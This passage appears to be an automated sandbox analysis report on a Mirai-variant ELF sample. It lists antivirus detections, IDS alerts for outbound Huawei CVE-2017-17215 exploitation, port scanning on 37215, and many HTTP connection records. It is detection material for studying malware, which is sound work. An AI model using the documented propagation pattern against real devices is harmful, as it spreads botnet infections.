2025-02-19T19:49:02.616386+0100	2839471	1	Web Application Attack	192.168.2.15	56082	88.43.2.185	80	TCP
2025-02-19T19:49:02.620428+0100	2839471	1	Web Application Attack	192.168.2.15	50996	88.189.81.227	80	TCP
2025-02-19T19:49:04.029937+0100	2839471	1	Web Application Attack	192.168.2.15	53902	88.195.148.31	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: sh4.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: sh4.elf	Virustotal: Detection: 63%			Perma Link
Source: sh4.elf	ReversingLabs: Detection: 65%

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:59352 -> 88.34.237.117:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:38112 -> 157.230.45.210:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:46312 -> 157.217.20.220:37215
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:56082 -> 88.43.2.185:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:48536 -> 157.239.141.134:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:57224 -> 157.44.119.96:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:37182 -> 157.206.91.53:37215
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:50996 -> 88.189.81.227:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:48516 -> 157.223.96.78:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:53714 -> 157.96.104.228:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:47812 -> 197.66.19.63:37215
Source: Network traffic	Suricata IDS: 2839471 - Severity 1 - ETPRO MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.15:53902 -> 88.195.148.31:80

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 157.235.33.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.169.173.165 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.134.9.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.141.217.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.199.61.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.65.82.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.253.182.115 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.255.175.63 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.189.83.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.60.210.41 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.26.172.220 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.121.107.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.48.220.173 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.97.83.17 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.89.8.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.124.121.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.149.169.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.215.250.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.193.153.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.46.200.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.41.219.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.12.102.34 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.29.48.150 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.0.253.209 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.187.34.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.124.214.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.168.127.79 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.189.183.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.111.6.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.136.158.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.170.132.158 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.54.14.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.78.133.244 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.22.69.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.79.103.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.7.253.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.237.17.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.32.13.248 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.88.204.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.54.64.170 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.93.79.145 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.105.249.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.111.118.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.168.210.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.181.198.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.163.156.8 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.101.163.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.246.226.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.79.89.132 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.203.147.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.98.143.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.106.43.99 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.112.95.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.46.139.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.213.17.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.178.69.163 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.177.168.193 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.108.38.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.252.141.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.7.91.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.208.78.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.6.115.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.51.255.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.63.241.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.223.98.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.114.7.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.108.244.175 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.222.109.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.228.176.146 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.92.110.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.89.243.93 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.103.213.37 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.35.49.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.255.21.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.10.166.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.33.248.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.18.208.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.203.220.61 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.205.41.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.104.59.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.170.4.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.209.164.148 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.187.46.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.39.0.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.59.87.196 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.189.64.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.83.215.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.45.244.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.75.239.239 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.189.199.140 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.250.149.227 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.69.44.30 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.107.96.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.144.127.188 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.188.30.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.75.232.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.213.190.50 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.58.12.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.192.33.156 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.147.174.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.219.4.66 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.18.199.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.130.81.105 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.234.173.200 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.201.234.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.1.87.224 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.179.96.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.198.215.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.11.59.27 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.97.230.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.22.137.177 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.173.0.78 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.130.32.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.243.171.191 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.55.125.139 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.74.67.67 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.28.71.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.123.45.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.97.246.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.62.24.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.54.105.151 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.207.49.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.132.178.136 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.157.116.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.153.238.208 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.172.209.39 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.113.58.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.205.32.38 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.225.104.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.6.66.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.238.186.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.2.40.204 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.217.202.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.41.177.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.145.29.54 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.6.106.18 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.97.175.235 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.243.240.229 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.183.78.202 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.110.170.92 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.206.193.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.196.110.129 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.65.86.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.32.74.46 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.134.123.47 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.235.96.122 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.117.159.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.174.86.98 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.87.175.185 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.109.54.98 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.92.247.21 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.14.161.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.113.175.168 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.216.236.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.167.92.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.45.242.80 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.188.164.249 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.235.10.181 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.230.45.210 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 157.227.55.64 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 33950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38392 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33168 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46216 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51274 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56134 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60876 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58192 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52752 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46000 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42920 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45362 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51184 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36346 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57108 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35228 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36066 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38550 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42156 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50656 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56780 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47812 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48536 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43890 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38994 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55736 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52548 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53516 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44452 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52308 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50520 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50568 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48300 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56262 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40814 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46334 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53430 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45366 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55638 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43618 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36964 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52982 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48608 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37914 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43112 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43006 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48598 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34200 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35360 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44030 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34826 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44248 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37374 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56970 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42368 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33208 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42242 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37170 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44524 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50980 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35268 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33792 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57974 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44302 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36166 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51768 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54910 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48902 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49008 -> 37215
